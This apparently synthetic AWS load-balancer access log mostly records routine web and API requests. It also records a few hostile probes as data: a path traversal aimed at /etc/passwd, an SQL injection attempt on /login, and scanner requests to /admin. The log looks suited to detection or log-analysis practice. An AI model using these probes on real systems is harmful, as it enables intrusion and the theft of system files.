96.97.168.224:31921 10.0.164.101:443 0.063542 0.058080 0.007999 302 302 816 9624 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0c1-0d024cdc2d6a4386b298d37d" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:29.023720Z "forward" "-" "-" "10.0.164.101:443" "302" "-" "-" -http 2024-11-01T01:47:30.265560Z staging-alb 163.152.184.190:25012 200.251.140.179:443 0.131343 0.447926 0.001125 200 200 941 5795 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0c2-2a7d5fe4c1fa4ff29a6643c7" "staging-alb.example.com" "-" 9 2024-11-01T01:47:30.265560Z "forward" "-" "-" "200.251.140.179:443" "200" "-" "-" -https 2024-11-01T01:47:30.458737Z prod-web-alb 193.27.228.240:11274 10.0.112.56:443 0.075151 0.268392 0.036978 404 404 210 10393 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0c2-6d6009d6a7ca4cb8b78768f5" "-" "-" 9 2024-11-01T01:47:30.458737Z "forward" "-" "-" "10.0.112.56:443" "404" "-" "-" -http 2024-11-01T01:47:31.718369Z staging-alb 124.122.194.30:33047 175.92.178.122:8080 0.088090 0.434487 0.004295 301 301 933 1604 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0c3-3d15df91211c4bf9a3a03322" "staging-alb.example.com" "-" 10 2024-11-01T01:47:31.718369Z "forward" "-" "-" "175.92.178.122:8080" "301" "-" "-" -https 2024-11-01T01:47:33.152254Z prod-web-alb 92.162.221.187:59006 10.0.13.176:443 0.026750 0.319324 0.037433 200 200 774 7286 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0c5-97f37ea9422f4547a544721a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:47:33.152254Z "forward" "-" "-" "10.0.13.176:443" "200" "-" "-" -https 2024-11-01T01:47:33.974498Z staging-alb 151.1.114.242:39792 145.137.11.188:8080 0.049763 0.430746 0.117894 301 301 701 13345 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0c5-b93fc30331244aadbe629d95" "staging-alb.example.com" "-" 5 2024-11-01T01:47:33.974498Z "forward" "-" "-" "145.137.11.188:8080" "301" "-" "-" -http 2024-11-01T01:47:34.082751Z staging-alb 226.67.200.7:64383 141.178.74.108:443 0.027290 0.312215 0.059386 404 404 374 5081 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0c6-b52da2b74bb94a89aa48005c" "staging-alb.example.com" "-" 10 2024-11-01T01:47:34.082751Z "forward" "-" "-" "141.178.74.108:443" "404" "-" "-" -https 2024-11-01T01:47:35.806684Z prod-web-alb 109.90.109.231:48594 10.0.84.19:443 0.066425 0.163304 0.033321 200 200 628 7520 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0c7-2fa6fa156c9c45b499c90e74" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:35.806684Z "forward" "-" "-" "10.0.84.19:443" "200" "-" "-" -https 2024-11-01T01:47:36.508939Z prod-web-alb 94.194.94.184:51337 10.0.100.169:443 0.017348 0.134529 0.081822 200 200 464 4797 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0c8-9dbce24bff52471eb0be32b3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:47:36.508939Z "forward" "-" "-" "10.0.100.169:443" "200" "-" "-" -http 2024-11-01T01:47:36.812158Z staging-alb 31.230.179.17:25903 9.176.139.31:443 0.081503 0.273143 0.027583 301 301 936 11672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0c8-178dfdbb3d83440c83800a6a" "staging-alb.example.com" "-" 5 2024-11-01T01:47:36.812158Z "forward" "-" "-" "9.176.139.31:443" "301" "-" "-" -https 2024-11-01T01:47:37.956044Z prod-api-alb 95.59.139.80:26375 10.0.47.221:443 0.090398 0.009802 0.028043 404 404 202 2211 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0c9-e374a97dea514f8aa54e509e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:47:37.956044Z "forward" "-" "-" "10.0.47.221:443" "404" "-" "-" -https 2024-11-01T01:47:38.068396Z prod-web-alb 44.211.107.181:31306 10.0.98.26:443 0.078830 0.009871 0.088431 301 301 150 14104 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0ca-a2218bffae0448acb84043b1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:47:38.068396Z "forward" "-" "-" "10.0.98.26:443" "301" "-" "-" -https 2024-11-01T01:47:39.554502Z prod-api-alb 186.15.43.100:32535 10.0.171.246:443 0.033997 0.218165 0.091416 200 200 929 5356 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0cb-159d580825d141e88c26010a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:47:39.554502Z "forward" "-" "-" "10.0.171.246:443" "200" "-" "-" -https 2024-11-01T01:47:41.142719Z prod-api-alb 231.197.136.48:27211 10.0.199.212:443 0.022585 0.399268 0.097579 200 200 819 312 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0cd-8d418a04dcac4a84ade39881" "prod-api-alb.example.com" "-" 4 2024-11-01T01:47:41.142719Z "forward" "-" "-" "10.0.199.212:443" "200" "-" "-" -https 2024-11-01T01:47:41.998859Z staging-alb 99.214.83.204:45529 202.113.23.81:8080 0.011838 0.635512 0.055844 200 200 780 13466 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0cd-66528fd5b6c54f958401ebec" "staging-alb.example.com" "-" 1 2024-11-01T01:47:41.998859Z "forward" "-" "-" "202.113.23.81:8080" "200" "-" "-" -http 2024-11-01T01:47:42.662803Z staging-alb 154.56.222.34:24502 90.63.218.112:443 0.066420 0.313233 0.064471 200 200 563 2045 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0ce-509e20c831874f6d9a1919ef" "staging-alb.example.com" "-" 1 2024-11-01T01:47:42.662803Z "forward" "-" "-" "90.63.218.112:443" "200" "-" "-" -https 2024-11-01T01:47:44.198204Z prod-api-alb 191.134.110.70:34466 10.0.196.107:443 0.043314 0.107716 0.007803 301 301 416 8022 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0d0-d37d4d6b135b4f3281f559f0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:47:44.198204Z "forward" "-" "-" "10.0.196.107:443" "301" "-" "-" -https 2024-11-01T01:47:45.723155Z prod-web-alb 99.219.163.88:38773 10.0.248.158:443 0.073467 0.128998 0.028859 404 404 208 4933 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d1-24bd11043d5d48d09a106914" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:45.723155Z "forward" "-" "-" "10.0.248.158:443" "404" "-" "-" -https 2024-11-01T01:47:46.871881Z prod-web-alb 205.3.253.100:64448 10.0.83.205:443 0.044738 0.011077 0.076024 200 200 861 14988 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d2-be98f686a17f4e57b73e9527" "prod-web-alb.example.com" "-" 4 2024-11-01T01:47:46.871881Z "forward" "-" "-" "10.0.83.205:443" "200" "-" "-" -https 2024-11-01T01:47:48.646956Z prod-web-alb 193.122.159.5:22573 10.0.173.234:443 0.002353 0.184749 0.037291 200 200 841 5299 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d4-67b5a929d6ea401b9d8b184d" "prod-web-alb.example.com" "-" 10 2024-11-01T01:47:48.646956Z "forward" "-" "-" "10.0.173.234:443" "200" "-" "-" -https 2024-11-01T01:47:49.304379Z prod-web-alb 251.65.94.125:31587 10.0.44.194:443 0.032409 0.396208 0.026398 200 200 782 12528 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d5-17b2671da51945a586dd5f63" "prod-web-alb.example.com" "-" 2 2024-11-01T01:47:49.304379Z "forward" "-" "-" "10.0.44.194:443" "200" "-" "-" -https 2024-11-01T01:47:49.631392Z prod-api-alb 49.41.219.213:22283 10.0.169.81:443 0.080195 0.058840 0.077606 200 200 182 9394 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0d5-01c3a635f0054dc7ab9d250f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:47:49.631392Z "forward" "-" "-" "10.0.169.81:443" "200" "-" "-" -http 2024-11-01T01:47:50.933675Z staging-alb 59.120.129.138:26176 62.0.148.249:8080 0.056175 0.495752 0.026265 302 302 840 9216 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0d6-590785718bb54c438e1ae736" "staging-alb.example.com" "-" 2 2024-11-01T01:47:50.933675Z "forward" "-" "-" "62.0.148.249:8080" "302" "-" "-" -https 2024-11-01T01:47:52.808299Z prod-web-alb 63.63.96.26:34322 10.0.20.59:443 0.097679 0.259774 0.002877 200 200 825 3682 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0d8-f408db4f97af4c2ba4da4729" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:52.808299Z "forward" "-" "-" "10.0.20.59:443" "200" "-" "-" -https 2024-11-01T01:47:53.109186Z prod-api-alb 28.20.122.11:43839 10.0.145.213:443 0.026860 0.495950 0.028919 200 200 417 8590 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0d9-4d2035375c92440ea84f4df9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:47:53.109186Z "forward" "-" "-" "10.0.145.213:443" "200" "-" "-" -https 2024-11-01T01:47:54.528966Z staging-alb 11.254.105.160:63608 124.205.115.99:80 0.133690 0.285144 0.076555 200 200 675 11779 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0da-924a75244950482b947864d0" "staging-alb.example.com" "-" 6 2024-11-01T01:47:54.528966Z "forward" "-" "-" "124.205.115.99:80" "200" "-" "-" -https 2024-11-01T01:47:54.929906Z prod-web-alb 118.53.225.205:19460 10.0.36.75:443 0.042314 0.415252 0.095103 200 200 228 9064 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0da-f265d26e430849e9b19fea5f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:47:54.929906Z "forward" "-" "-" "10.0.36.75:443" "200" "-" "-" -http 2024-11-01T01:47:55.309939Z staging-alb 245.229.74.214:26162 30.244.4.216:8080 0.076488 0.600154 0.023510 200 200 133 3876 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0db-53184d39ef40417cb47ca2f9" "staging-alb.example.com" "-" 2 2024-11-01T01:47:55.309939Z "forward" "-" "-" "30.244.4.216:8080" "200" "-" "-" -https 2024-11-01T01:47:57.008070Z prod-web-alb 210.14.91.223:26100 10.0.100.109:443 0.005061 0.356135 0.014736 301 301 124 12152 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0dd-f19f1f1b8a294d36b3a92bbc" "prod-web-alb.example.com" "-" 4 2024-11-01T01:47:57.008070Z "forward" "-" "-" "10.0.100.109:443" "301" "-" "-" -http 2024-11-01T01:47:58.121814Z staging-alb 0.5.163.79:25248 147.68.35.65:8080 0.009472 0.361279 0.082622 200 200 693 14651 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0de-5be2af66c6ff4cd08129cb26" "staging-alb.example.com" "-" 2 2024-11-01T01:47:58.121814Z "forward" "-" "-" "147.68.35.65:8080" "200" "-" "-" -https 2024-11-01T01:47:59.436539Z prod-api-alb 45.155.205.243:61712 10.0.166.153:443 0.093747 0.415342 0.010106 404 404 348 6898 "PUT /metrics HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0df-15d14944e66245f192ba5f21" "-" "-" 6 2024-11-01T01:47:59.436539Z "forward" "-" "-" "10.0.166.153:443" "404" "-" "-" -https 2024-11-01T01:48:01.380366Z prod-web-alb 47.236.204.97:39910 10.0.31.98:443 0.087248 0.227340 0.050646 200 200 996 11232 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0e1-9287ce5430c74a36b5ce6f1c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:48:01.380366Z "forward" "-" "-" "10.0.31.98:443" "200" "-" "-" -https 2024-11-01T01:48:01.689535Z prod-web-alb 185.181.25.65:17692 10.0.67.250:443 0.023868 0.368755 0.044362 403 403 356 2576 "GET /admin HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e1-699fb0dde5fb47dea2ed1b9e" "-" "-" 9 2024-11-01T01:48:01.689535Z "forward" "-" "-" "10.0.67.250:443" "403" "-" "-" -https 2024-11-01T01:48:03.021135Z prod-web-alb 15.125.34.160:22262 10.0.238.36:443 0.042782 0.464477 0.017564 404 404 513 4527 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e3-09b8fd16b5774a569979a380" "prod-web-alb.example.com" "-" 4 2024-11-01T01:48:03.021135Z "forward" "-" "-" "10.0.238.36:443" "404" "-" "-" -https 2024-11-01T01:48:04.664964Z prod-web-alb 30.31.199.80:46868 10.0.34.122:443 0.018195 0.023837 0.054330 200 200 590 14001 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e4-ba8eb61a21844442815e0105" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:04.664964Z "forward" "-" "-" "10.0.34.122:443" "200" "-" "-" -https 2024-11-01T01:48:06.621526Z prod-web-alb 160.70.158.234:26894 10.0.70.33:443 0.008976 0.225959 0.052454 200 200 833 2959 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0e6-f81ebf0cb9dc41fb97ed9f10" "prod-web-alb.example.com" "-" 7 2024-11-01T01:48:06.621526Z "forward" "-" "-" "10.0.70.33:443" "200" "-" "-" -https 2024-11-01T01:48:06.884585Z prod-web-alb 179.240.112.108:17120 10.0.43.201:443 0.074761 0.159696 0.061611 200 200 394 10346 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0e6-673111c16c3f47098375c950" "prod-web-alb.example.com" "-" 1 2024-11-01T01:48:06.884585Z "forward" "-" "-" "10.0.43.201:443" "200" "-" "-" -https 2024-11-01T01:48:08.568924Z prod-web-alb 107.207.141.176:61899 10.0.61.210:443 0.035056 0.327396 0.003760 404 404 672 4275 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e8-8a02d82ce72d4144b6cb2202" "prod-web-alb.example.com" "-" 9 2024-11-01T01:48:08.568924Z "forward" "-" "-" "10.0.61.210:443" "404" "-" "-" -https 2024-11-01T01:48:10.165572Z staging-alb 195.156.88.180:11890 210.128.50.64:80 0.083740 0.743457 0.068117 200 200 265 7061 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0ea-9bc57a77f1174b81af12b1f7" "staging-alb.example.com" "-" 8 2024-11-01T01:48:10.165572Z "forward" "-" "-" "210.128.50.64:80" "200" "-" "-" -https 2024-11-01T01:48:11.672168Z prod-web-alb 88.166.124.30:32350 10.0.50.170:443 0.010977 0.489206 0.067998 301 301 214 7336 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0eb-130f82ed462043abac2853fe" "prod-web-alb.example.com" "-" 4 2024-11-01T01:48:11.672168Z "forward" "-" "-" "10.0.50.170:443" "301" "-" "-" -https 2024-11-01T01:48:12.499181Z prod-api-alb 4.151.228.212:53804 10.0.222.107:443 0.056261 0.312532 0.097361 200 200 617 4044 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0ec-c862e21fce194887bb982c9f" "prod-api-alb.example.com" "-" 9 2024-11-01T01:48:12.499181Z "forward" "-" "-" "10.0.222.107:443" "200" "-" "-" -https 2024-11-01T01:48:14.127293Z staging-alb 224.119.120.9:58949 239.190.255.174:443 0.066642 0.046727 0.051178 301 301 274 12055 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0ee-c8c6d50b4c794df0ba2be086" "staging-alb.example.com" "-" 9 2024-11-01T01:48:14.127293Z "forward" "-" "-" "239.190.255.174:443" "301" "-" "-" -https 2024-11-01T01:48:14.699180Z prod-api-alb 199.17.57.22:40113 10.0.15.55:443 0.077491 0.299399 0.086303 302 302 981 11789 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0ee-c4ece81926b844d19548688a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:14.699180Z "forward" "-" "-" "10.0.15.55:443" "302" "-" "-" -https 2024-11-01T01:48:15.524329Z prod-web-alb 42.39.44.241:36331 10.0.59.178:443 0.071669 0.178116 0.073437 200 200 345 12552 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0ef-815c83ea64a34543b89f3269" "prod-web-alb.example.com" "-" 10 2024-11-01T01:48:15.524329Z "forward" "-" "-" "10.0.59.178:443" "200" "-" "-" -https 2024-11-01T01:48:16.065604Z prod-api-alb 191.123.198.242:21920 10.0.2.58:443 0.007640 0.423466 0.096323 200 200 370 11252 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0f0-1ce092cd72324f599065cfd6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:48:16.065604Z "forward" "-" "-" "10.0.2.58:443" "200" "-" "-" -https 2024-11-01T01:48:16.689644Z prod-api-alb 18.135.2.128:51818 10.0.184.234:443 0.042617 0.280589 0.057159 404 404 542 3706 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f0-597b1d189f6c4bb082098658" "prod-api-alb.example.com" "-" 3 2024-11-01T01:48:16.689644Z "forward" "-" "-" "10.0.184.234:443" "404" "-" "-" -https 2024-11-01T01:48:18.079124Z prod-api-alb 34.110.87.182:55761 10.0.181.62:443 0.064097 0.108671 0.046008 302 302 340 7864 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0f2-8e5634cf540d496b8799c02c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:48:18.079124Z "forward" "-" "-" "10.0.181.62:443" "302" "-" "-" -https 2024-11-01T01:48:19.249723Z staging-alb 45.155.205.164:64150 33.18.224.90:8080 0.069244 0.368263 0.038475 500 500 66 8386 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0f3-7dc8284352c44ebebbff5428" "-" "-" 0 2024-11-01T01:48:19.249723Z "forward" "-" "-" "33.18.224.90:8080" "500" "-" "-" -https 2024-11-01T01:48:20.057393Z 